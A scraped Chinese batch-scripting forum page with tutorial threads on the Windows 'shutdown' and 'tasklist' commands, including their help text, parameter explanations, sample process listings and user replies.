综上实验： 批处理程序中，start命令如果加/b参数，该条命令会在批处理程序执行完全部命令(包括call调用)后才会被执行。
另外/b参数也不能与/wait参数一起使用，否则/wait参数将会被忽略。
回复 引用

评分 报告 TOP

crist
  • 发短消息
  • 加为好友

crist 当前离线

UID
33452
帖子
101
精华
0
积分
164
PB
164
技术
0
捐助
0
阅读权限
20
在线时间
12 小时
注册时间
2011-1-5
最后登录
2015-12-8

二级士官

帖子
101
积分
164
技术
0
捐助
0
注册时间
2011-1-5
15楼
发表于 2015-11-1 22:36 | 只看该作者
回复 1# Hello123World

关于title参数，好像在特定情况下start "" 1.exe能运行，而start 1.exe无法运行，请问能再说说哪些情况必须使用title参数吗？
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:19, Processed in 0.072354 second(s), 9 queries, Gzip enabled.


33、关闭或重启计算机：shutdown

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（33）关闭或重启计算机：shutdown
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-13 16:26 | 只看该作者

[原创] 【续】[一日一教学]（33）关闭或重启计算机：shutdown

本帖最后由 Hello123World 于 2011-10-13 16:50 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 用法: shutdown [/i | /l | /s | /r | /g | /a | /p | /h | /e] [/f]

  2.     [/m \\computer][/t xxx][/d [p|u:]xx:yy [/c "comment"]]

  3.

  4.     没有参数   显示帮助。这与键入 /? 是一样的。

  5.     /?         显示帮助。这与不键入任何选项是一样的。

  6.     /i         显示图形用户界面(GUI)。

  7.                这必须是第一个选项。

  8.     /l         注销。这不能与 /m 或 /d 选项一起使用。

  9.     /s         关闭计算机。

  10.     /r         关闭并重新启动计算机。

  11.     /g         关闭并重新启动计算机。系统重新启动后，

  12.                重新启动所有注册的应用程序。

  13.     /a         中止系统关闭。

  14.                这只能在超时期间使用。

  15.     /p         关闭本地计算机，没有超时或警告。

  16.                可以与 /d 和 /f 选项一起使用。

  17.     /h         休眠本地计算机。

  18.                可以与 /f 选项一起使用。

  19.     /e         记录计算机意外关闭的原因。

  20.     /m \\computer 指定目标计算机。

  21.     /t xxx     设置关闭前的超时为 xxx 秒。

  22.                有效范围是 0-315360000 (10 年)，默认值为 30。

  23.                如果超时时间大于 0，则默示 /f

  24.                参数。

  25.     /c "comment" 重启动或关闭的原因的注释。

  26.                最多允许 512 个字符。

  27.     /f         强制正在运行的应用程序关闭，不前台警告用户。

  28.                当为 /t 参数指定大于 0 的值时，

  29.                则默示 /f 参数。

  30.     /d [p|u:]xx:yy  提供重新启动或关机的原因。

  31.                p 表明重新启动或关闭是计划内的。

  32.                u 表示原因由用户定义。

  33.                如果 p 和 u 均未指定，则是计划外重新启动

  34.                或关闭。

  35.                xx 是主要原因号(小于 256 的正整数)。

  36.                yy 是次要原因号(小于 65536 的正整数)。

  37.

  38. 此计算机上的原因:

  39. (E = 预期 U = 意外 P = 计划内，C = 自定义)

  40. 类别	主要 	次要	标题

  41.

  42.  U  	0	0	其他(计划外)

  43. E   	0	0	其他(计划外)

  44. E P 	0	0	其他(计划内)

  45.  U  	0	5	其他故障: 系统没有反应

  46. E   	1	1	硬件: 维护(计划外)

  47. E P 	1	1	硬件: 维护(计划内)

  48. E   	1	2	硬件: 安装(计划外)

  49. E P 	1	2	硬件: 安装(计划内)

  50. E   	2	2	操作系统: 恢复(计划内)

  51. E P 	2	2	操作系统: 恢复(计划内)

  52.   P 	2	3	操作系统: 升级(计划内)

  53. E   	2	4	操作系统: 重新配置(计划外)

  54. E P 	2	4	操作系统: 重新配置(计划内)

  55.   P 	2	16	操作系统: Service Pack (计划内)

  56.     	2	17	操作系统: 热修补(计划外)

  57.   P 	2	17	操作系统: 热修补(计划内)

  58.     	2	18	操作系统: 安全修补(计划外)

  59.   P 	2	18	操作系统: 安全修补(计划内)

  60. E   	4	1	应用程序: 维护(计划外)

  61. E P 	4	1	应用程序: 维护(计划内)

  62. E P 	4	2	应用程序: 安装(计划内)

  63. E   	4	5	应用程序: 没有反应

  64. E   	4	6	应用程序: 不稳定

  65.  U  	5	15	系统故障: 停止错误

  66.  U  	5	19

  67. E   	5	19

  68. E P 	5	19

  69. E   	5	20	网络连接丢失(计划外)

  70.  U  	6	11	电源故障: 电线被拔掉

  71.  U  	6	12	电源故障: 环境

  72.   P 	7	0	旧版 API 关机
复制代码
命令概括：

shutdown，意为“关机”；
/i，全英文interface，意为“界面”；
/l，全英文logout，意为“注销”；
/s，全英文shutdown，意为“关机”；
/r，全英文restart，意为“重启”；
/a，全英文abrogation，意为“取消”；这里可以引申为“取消关机”
/h，全英文hibernation，意为“冬眠”；这里引申为“休眠”
/t，全英文time，意为“时间”；
/c，全英文comment，意为“评论”，这里可引申为“注释”；
/f，不解释，你懂得。

参数详解：

在进行参数详解之前，请先看下面这种图，试图从中理解各种操作的实际含义（鼠标放在操作上面停留几秒，会出现该操作的具体类容）。

下载 (9.33 KB)
2011-10-13 15:53

如果你没有理解上面图中各种操作的具体含义，在后面shutdown命令的学习中会倍感困难；

1.关机
  1. shutdown /s /t 60 /c "要关机了哦"
复制代码
/s参数用来关机；

/t参数设置关机时间（单位秒，默认为30秒——没有/t参数默认30秒后关机），有效范围是 0-315360000 (10 年)；

/c参数设置提示信息，可以随意输入，最多允许 512 个字符。

2.取消关机、重启
  1. shutdown /a
复制代码
/a参数用来取消shutdown 命令的一切操作；

3.重新启动
  1. shutdown /r /t 0 /f
复制代码
/r参数用来重启；

/t 0，立即关机——时间为零嘛；

/f，强制进行关机、重启；
例如：
如果你打开了文本，而没有保存修改，windows一般就会将关机操作停止，让你按确定修改与否，加上/f强制参数，不提示直接就会关机，但是未保存的信息可能会丢失。

4.注销
  1. shutdown /l
复制代码
/l，注销当前用户，回到用户选择界面。

5.休眠
  1. shutdowm /h
复制代码
/h，休眠；这个参数个人用的比较多，用处就是“保存当前打开的所有程序、文件，第二次开机这些程序、文件都是原打开状态”。

推测这个命令的原理是将程序、文件的打开状态都保存到硬盘，第二开机的时候调用这些状态，之所以说是保存到硬盘，因为shutdown /h也是会关机的，不同于“睡眠”；

6.shutdown的图形界面形式
  1. shutdown /i
复制代码
/i参数只能单独使用，而且放在其它参数后会使其它参数失效，自身也失效。

例如：
  1. shutdown /s /t 30 /i
复制代码
7.
/g /p /e /m /d，这5个参数由于不常用就不讲了，有兴趣的朋友可以自行研究；

8.一个小应用：定时关机
  1. @echo off

  2. set /p stime=请输入时间：

  3. at %stime% Shutdown -s -t 5

  4. pause
复制代码
时间格式：
23:59

扩展阅读：
无。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

601997526
  • 发短消息
  • 加为好友

601997526 当前离线

UID
36294
帖子
172
精华
0
积分
381
PB
225
技术
52
捐助
0
阅读权限
20
在线时间
310 小时
注册时间
2011-4-11
最后登录
2015-4-21

六级士官

帖子
172
积分
381
技术
52
捐助
0
注册时间
2011-4-11
2楼
发表于 2011-10-13 17:08 | 只看该作者
回想当年还是这个命令把我引入了批处理的世界，现在回头一看，我竟然就连这个命令的参数都还有很多不会用
看版主把那个原因贴了一大段，应该是/d用的吧，能讲讲这个参数的用法吗
回复 引用

评分 报告 TOP

andy七少
  • 发短消息
  • 加为好友

andy七少 当前离线

UID
36895
帖子
34
精华
0
积分
40
PB
40
技术
0
捐助
0
阅读权限
5
在线时间
27 小时
注册时间
2011-4-26
最后登录
2017-3-29

列兵

帖子
34
积分
40
技术
0
捐助
0
注册时间
2011-4-26
3楼
发表于 2011-10-14 11:45 | 只看该作者
第一次记得用shutdown关机的时候是在桌面上创了个快捷方式往里面输入了一些参数，现在想来批处理都能做到，顶一个
智慧是创造财富的唯一保障！
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2011-10-14 13:02 | 只看该作者
回复 3# andy七少

快捷方式挺好，可以实现一键关机。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-10-14 13:45 | 只看该作者
回复 4# Batcher

那批处理不也是一键关机吗？——除了图标样式不一样，有何区别。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
6楼
发表于 2011-10-14 21:18 | 只看该作者
回复 5# Hello123World

你按哪一个键可以实现？
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

920168
  • 发短消息
  • 加为好友

920168 当前离线

UID
41681
帖子
105
精华
0
积分
185
PB
131
技术
18
捐助
0
阅读权限
20
来自
北街12号
在线时间
100 小时
注册时间
2011-9-16
最后登录
2016-8-3

二级士官

帖子
105
积分
185
技术
18
捐助
0
注册时间
2011-9-16
7楼
发表于 2011-10-14 21:21 | 只看该作者
回复 5# Hello123World

把shutdown.exe命令加到创建快捷方式不就能把图标问题设好！
http://www.diecasting86.com
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
8楼
发表于 2011-10-14 23:57 | 只看该作者
回复 6# Batcher

没注意，原来是一键关机，但是快捷方式不就是在快捷方式中加入代码 cmd /c shutdown 吗，怎么实现一键关机？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
9楼
发表于 2011-10-14 23:59 | 只看该作者
明白了，组合的全局热键。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

无知小菜鸟
  • 发短消息
  • 加为好友

无知小菜鸟 当前离线

UID
51423
帖子
18
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
23 小时
注册时间
2012-8-27
最后登录
2012-10-29

列兵

帖子
18
积分
19
技术
0
捐助
0
注册时间
2012-8-27
10楼
发表于 2012-8-29 11:54 | 只看该作者
问下远程关闭别人的计算机需要那个计算机的密码吗
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
11楼
发表于 2014-11-3 23:40 | 只看该作者
本帖最后由 shelluserwlb 于 2014-11-3 23:42 编辑

这个命令在xp下是很好用。
在win7下就未必了，刚才试了一下，输入shutdown -s -t 7200，两小时后关机，我记得xp中会弹出一个关不掉的提示图形窗口的，提示还剩多少时间关机。 在win7下虽然也弹出一个类似的提示框，但是这个提示框是可以关闭的，而且如果一不小心把它关掉的话竟然就调不出了，真是郁闷。 不知哪位朋友可以有办法把它再次调出。
回复 引用

评分 报告 TOP

jyjy29
  • 发短消息
  • 加为好友

jyjy29 当前离线

UID
74601
帖子
5
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
5 小时
注册时间
2016-2-4
最后登录
2016-10-13

列兵

帖子
5
积分
13
技术
0
捐助
0
注册时间
2016-2-4
12楼
发表于 2016-2-6 23:26 | 只看该作者
为什么没有睡眠的命令行？
回复 引用

评分 报告 TOP

jyjy29
  • 发短消息
  • 加为好友

jyjy29 当前离线

UID
74601
帖子
5
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
5 小时
注册时间
2016-2-4
最后登录
2016-10-13

列兵

帖子
5
积分
13
技术
0
捐助
0
注册时间
2016-2-4
13楼
发表于 2016-2-6 23:28 | 只看该作者
@echo off
set /p stime=请输入时间：
at %stime% Shutdown -s -t 5
pause
这个命令行输入时间后，没有任何意义。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:20, Processed in 0.055090 second(s), 8 queries, Gzip enabled.


34、显示进程清单：tasklist

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（34）显示进程清单：tasklist
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-16 15:32 | 只看该作者

[原创] 【续】[一日一教学]（34）显示进程清单：tasklist

本帖最后由 Hello123World 于 2011-10-17 14:35 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. TASKLIST [/S system [/U username [/P [password]]]]

  2.          [/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]

  3.

  4. 描述:

  5.     该工具显示在本地或远程机器上当前运行的进程列表。

  6.

  7. 参数列表:

  8.    /S     system           指定连接到的远程系统。

  9.

  10.    /U     [domain\]user    指定应该在哪个用户上下文执行这个命令。

  11.

  12.    /P     [password]       为提供的用户上下文指定密码。如果省略，则

  13.                            提示输入。

  14.

  15.    /M     [module]         列出当前使用所给 exe/dll 名称的所有任务。

  16.                            如果没有指定模块名称，显示所有加载的模块。

  17.

  18.    /SVC                    显示每个进程中主持的服务。

  19.

  20.    /V                      显示详述任务信息。

  21.

  22.    /FI    filter           显示一系列符合筛选器指定的标准的任务。

  23.

  24.    /FO    format           指定输出格式。

  25.                            有效值: "TABLE"、"LIST"、"CSV"。

  26.

  27.    /NH                     指定列标题不应该在输出中显示。

  28.                            只对 "TABLE" 和 "CSV" 格式有效。

  29.

  30.    /?                      显示帮助消息。

  31.

  32.

  33. 筛选器:

  34.     筛选器名        有效操作符                有效值

  35.     -----------     ---------------           --------------------------

  36.     STATUS          eq, ne                    RUNNING |

  37.                                               NOT RESPONDING | UNKNOWN

  38.     IMAGENAME       eq, ne                    映像名称

  39.     PID             eq, ne, gt, lt, ge, le    PID 值

  40.     SESSION         eq, ne, gt, lt, ge, le    会话编号

  41.     SESSIONNAME     eq, ne                    会话名

  42.     CPUTIME         eq, ne, gt, lt, ge, le    CPU 时间，格式为

  43.                                               hh:mm:ss。

  44.                                               hh - 时，

  45.                                               mm - 分，ss - 秒

  46.     MEMUSAGE        eq, ne, gt, lt, ge, le    内存使用量，单位为 KB

  47.     USERNAME        eq, ne                    用户名，格式为 [domain\]user

  48.     SERVICES        eq, ne                    服务名称

  49.     WINDOWTITLE     eq, ne                    窗口标题

  50.     MODULES         eq, ne                    DLL 名称

  51.

  52. 说明: 当查询远程机器时，不支持 "WINDOWTITLE" 和 "STATUS"

  53.       筛选器。

  54.

  55. 示例:

  56.     TASKLIST

  57.     TASKLIST /M

  58.     TASKLIST /V /FO CSV

  59.     TASKLIST /SVC /FO LIST

  60.     TASKLIST /M wbem*

  61.     TASKLIST /S system /FO LIST

  62.     TASKLIST /S system /U domain\username /FO CSV /NH

  63.     TASKLIST /S system /U username /P password /FO TABLE /NH

  64.     TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running"
复制代码
命令概括：

tasklist，意为“任务列表”；
/s，全英文system，意为“系统”；
/u，全英文user，意为“用户”；
/p，全英文password，意为“密码”；
/m，全英文module，意为“模块”；
/svc，全英文service，意为“服务”；（题外话，s、v、c都是service发音中的辅音，由此可见英文简写的一般规律）
/v，未知；
/fi，全英文filter，意为“过滤器”；
/fo，全英文format，意为“格式”；
/nh，全英文no heading，意为“无列标题”；“列标题”在这里是个名词。

参数详解：

/fi参数会在后续的taskkill中讲到，这里暂时不讲。

/s，/u,/p，由于不在局域网，这里就跳过不讲了（没办法弄）。

1.显示当前的进程
  1. tasklist
复制代码
光杆的tasklist会列出关于进程的5项数据，分别是，映像名称 ，PID， 会话名 ，会话# ， 内存使用。

效果：
  1. 映像名称                       PID 会话名              会话#       内存使用

  2. ========================= ======== ================ =========== ============

  3. System Idle Process              0 Services                   0         24 K

  4. System                           4 Services                   0        252 K

  5. smss.exe                       276 Services                   0        536 K

  6. csrss.exe                      376 Services                   0      3,432 K

  7. wininit.exe                    416 Services                   0      2,720 K

  8. csrss.exe                      424 Console                    1     19,884 K

  9. winlogon.exe                   480 Console                    1      3,196 K

  10. services.exe                   500 Services                   0      6,224 K

  11. lsass.exe                      540 Services                   0      6,492 K

  12. lsm.exe                        548 Services                   0      2,092 K

  13. svchost.exe                    656 Services                   0      5,020 K

  14. svchost.exe                    752 Services                   0      5,372 K

  15. svchost.exe                    816 Services                   0     11,516 K

  16. svchost.exe                    892 Services                   0     23,436 K

  17. svchost.exe                    920 Services                   0     22,960 K

  18. svchost.exe                   1096 Services                   0      8,044 K

  19. ZhuDongFangYu.exe             1224 Services                   0      7,708 K

  20. svchost.exe                   1264 Services                   0     11,384 K

  21. dwm.exe                       1476 Console                    1     21,792 K

  22. explorer.exe                  1488 Console                    1     29,516 K

  23. spoolsv.exe                   1604 Services                   0      6,012 K

  24. sched.exe                     1660 Services                   0      1,600 K

  25. svchost.exe                   1696 Services                   0      8,476 K

  26. taskhost.exe                  1768 Console                    1      6,908 K

  27. avguard.exe                   1908 Services                   0     12,092 K

  28. avgnt.exe                     1960 Console                    1      2,244 K

  29. svchost.exe                   1968 Services                   0      3,964 K

  30. 360tray.exe                   1976 Console                    1     12,528 K

  31. c20ukdrwsvr.exe                292 Services                   0      2,296 K

  32. svchost.exe                   1888 Services                   0      8,456 K

  33. svchost.exe                    544 Services                   0      5,024 K

  34. inetinfo.exe                  1064 Services                   0      6,184 K

  35. svchost.exe                    112 Services                   0      2,648 K

  36. vmount2.exe                   2112 Services                   0      3,564 K

  37. vmnat.exe                     2340 Services                   0      3,024 K

  38. svchost.exe                   2436 Services                   0      4,696 K

  39. WDelMgr20.exe                 2556 Services                   0      1,192 K

  40. WLIDSVC.EXE                   2676 Services                   0      4,996 K

  41. svchost.exe                   2704 Services                   0      4,080 K

  42. vmware-authd.exe              2772 Services                   0      5,372 K

  43. WLIDSVCM.EXE                  2892 Services                   0      1,580 K

  44. vmnetdhcp.exe                 2908 Services                   0      1,796 K

  45. SearchIndexer.exe             3200 Services                   0     15,312 K

  46. svchost.exe                   3372 Services                   0      3,304 K

  47. chrome.exe                    3980 Console                    1    159,416 K

  48. chrome.exe                    1468 Console                    1     66,152 K

  49. chrome.exe                    2496 Console                    1     15,300 K

  50. chrome.exe                    1212 Console                    1     12,704 K

  51. chrome.exe                    2976 Console                    1     12,968 K

  52. chrome.exe                    2880 Console                    1     13,360 K

  53. chrome.exe                     148 Console                    1      6,880 K

  54. svchost.exe                   2684 Services                   0     15,972 K

  55. wmpnetwk.exe                  3296 Services                   0      6,392 K

  56. notepad++.exe                 1028 Console                    1     26,076 K

  57. chrome.exe                     340 Console                    1     58,284 K

  58. cmd.exe                       2000 Console                    1      2,520 K

  59. conhost.exe                   1036 Console                    1      6,012 K

  60. notepad.exe                    440 Console                    1      7,024 K

  61. YodaoDict.exe                 3448 Console                    1     27,484 K

  62. WmiPrvSE.exe                  3396 Services                   0     31,516 K

  63. WmiApSrv.exe                  2524 Services                   0      4,820 K

  64. tasklist.exe                  2964 Console                    1      4,628 K

  65. WmiPrvSE.exe                  3540 Services                   0      5,140 K
复制代码
2.显示运行了指定dll的进程
  1. tasklist /m ws2_32.dll
复制代码
效果：
  1. 映像名称                       PID 模块

  2. ========================= ======== ============================================

  3. wininit.exe                    416 WS2_32.dll

  4. services.exe                   500 WS2_32.dll

  5. lsass.exe                      540 WS2_32.dll

  6. svchost.exe                    656 WS2_32.dll

  7. svchost.exe                    752 WS2_32.dll

  8. svchost.exe                    816 WS2_32.dll

  9. svchost.exe                    892 WS2_32.dll

  10. svchost.exe                    920 WS2_32.dll

  11. svchost.exe                   1096 WS2_32.dll

  12. ZhuDongFangYu.exe             1224 WS2_32.dll

  13. svchost.exe                   1264 WS2_32.dll

  14. dwm.exe                       1476 WS2_32.dll

  15. explorer.exe                  1488 WS2_32.dll

  16. spoolsv.exe                   1604 WS2_32.dll

  17. sched.exe                     1660 WS2_32.dll

  18. svchost.exe                   1696 WS2_32.dll

  19. taskhost.exe                  1768 WS2_32.dll

  20. avguard.exe                   1908 WS2_32.dll

  21. 360tray.exe                   1976 WS2_32.dll

  22. svchost.exe                   1888 WS2_32.dll

  23. svchost.exe                    544 WS2_32.dll

  24. inetinfo.exe                  1064 WS2_32.dll

  25. vmount2.exe                   2112 WS2_32.dll

  26. vmnat.exe                     2340 WS2_32.dll

  27. WLIDSVC.EXE                   2676 WS2_32.dll

  28. svchost.exe                   2704 WS2_32.dll

  29. vmware-authd.exe              2772 WS2_32.dll

  30. vmnetdhcp.exe                 2908 WS2_32.dll

  31. svchost.exe                   3372 WS2_32.dll

  32. chrome.exe                    3980 WS2_32.dll

  33. chrome.exe                    1468 WS2_32.dll

  34. chrome.exe                    2496 WS2_32.dll

  35. chrome.exe                    1212 WS2_32.dll

  36. chrome.exe                    2976 WS2_32.dll

  37. chrome.exe                    2880 WS2_32.dll

  38. chrome.exe                     148 WS2_32.dll

  39. svchost.exe                   2684 WS2_32.dll

  40. wmpnetwk.exe                  3296 WS2_32.dll

  41. notepad++.exe                 1028 WS2_32.dll

  42. chrome.exe                     340 WS2_32.dll

  43. cmd.exe                       2000 WS2_32.dll

  44. conhost.exe                   1036 WS2_32.dll

  45. notepad.exe                    440 WS2_32.dll

  46. YodaoDict.exe                 3448 WS2_32.dll

  47. WmiPrvSE.exe                  3396 WS2_32.dll

  48. taskmgr.exe                   3344 WS2_32.dll

  49. notepad.exe                   2516 WS2_32.dll

  50. WmiPrvSE.exe                  3864 WS2_32.dll

  51. tasklist.exe                  4052 WS2_32.dll
复制代码
3.显示进程需要哪些服务的支持
  1. tasklist /svc
复制代码
这条命令在应对一些有服务支持的流氓软件时颇为有用——找出对应流氓软件相关进程的服务，关闭服务。

效果：
  1. 映像名称                       PID 服务

  2. ========================= ======== ============================================

  3. System Idle Process              0 暂缺

  4. System                           4 暂缺

  5. smss.exe                       276 暂缺

  6. csrss.exe                      376 暂缺

  7. wininit.exe                    416 暂缺

  8. csrss.exe                      424 暂缺

  9. winlogon.exe                   480 暂缺

  10. services.exe                   500 暂缺

  11. lsass.exe                      540 EFS, KeyIso, SamSs

  12. lsm.exe                        548 暂缺

  13. svchost.exe                    656 DcomLaunch, PlugPlay, Power

  14. svchost.exe                    752 RpcEptMapper, RpcSs

  15. svchost.exe                    816 Audiosrv, Dhcp, eventlog, lmhosts, wscsvc

  16. svchost.exe                    892 AudioEndpointBuilder, CscService, hidserv,

  17.                                    Netman, PcaSvc, SysMain, TrkWks, UxSms,

  18.                                    Wlansvc, wudfsvc

  19. svchost.exe                    920 BITS, Browser, EapHost, gpsvc, IKEEXT,

  20.                                    iphlpsvc, LanmanServer, MMCSS, ProfSvc,

  21.                                    RasMan, Schedule, SENS, ShellHWDetection,

  22.                                    Themes, Winmgmt, wuauserv

  23. svchost.exe                   1096 EventSystem, netprofm, nsi, SstpSvc,

  24.                                    W32Time, WdiServiceHost

  25. ZhuDongFangYu.exe             1224 ZhuDongFangYu

  26. svchost.exe                   1264 CryptSvc, Dnscache, LanmanWorkstation,

  27.                                    NlaSvc, TapiSrv

  28. dwm.exe                       1476 暂缺

  29. explorer.exe                  1488 暂缺

  30. spoolsv.exe                   1604 Spooler

  31. sched.exe                     1660 AntiVirSchedulerService

  32. svchost.exe                   1696 BFE, DPS, MpsSvc

  33. taskhost.exe                  1768 暂缺

  34. avguard.exe                   1908 AntiVirService

  35. avgnt.exe                     1960 暂缺

  36. svchost.exe                   1968 AppHostSvc

  37. 360tray.exe                   1976 暂缺

  38. c20ukdrwsvr.exe                292 c20ukdrwsvc

  39. svchost.exe                   1888 FDResPub, FontCache, SSDPSRV, upnphost

  40. svchost.exe                    544 ftpsvc

  41. inetinfo.exe                  1064 IISADMIN

  42. svchost.exe                    112 StiSvc

  43. vmount2.exe                   2112 vmount2

  44. vmnat.exe                     2340 VMware NAT Service

  45. svchost.exe                   2436 W3SVC, WAS

  46. WDelMgr20.exe                 2556 WDelMgr20

  47. WLIDSVC.EXE                   2676 wlidsvc

  48. svchost.exe                   2704 XLDoctor Service

  49. vmware-authd.exe              2772 VMAuthdService

  50. WLIDSVCM.EXE                  2892 暂缺

  51. vmnetdhcp.exe                 2908 VMnetDHCP

  52. SearchIndexer.exe             3200 WSearch

  53. svchost.exe                   3372 PolicyAgent

  54. chrome.exe                    3980 暂缺

  55. chrome.exe                    1468 暂缺

  56. chrome.exe                    2496 暂缺

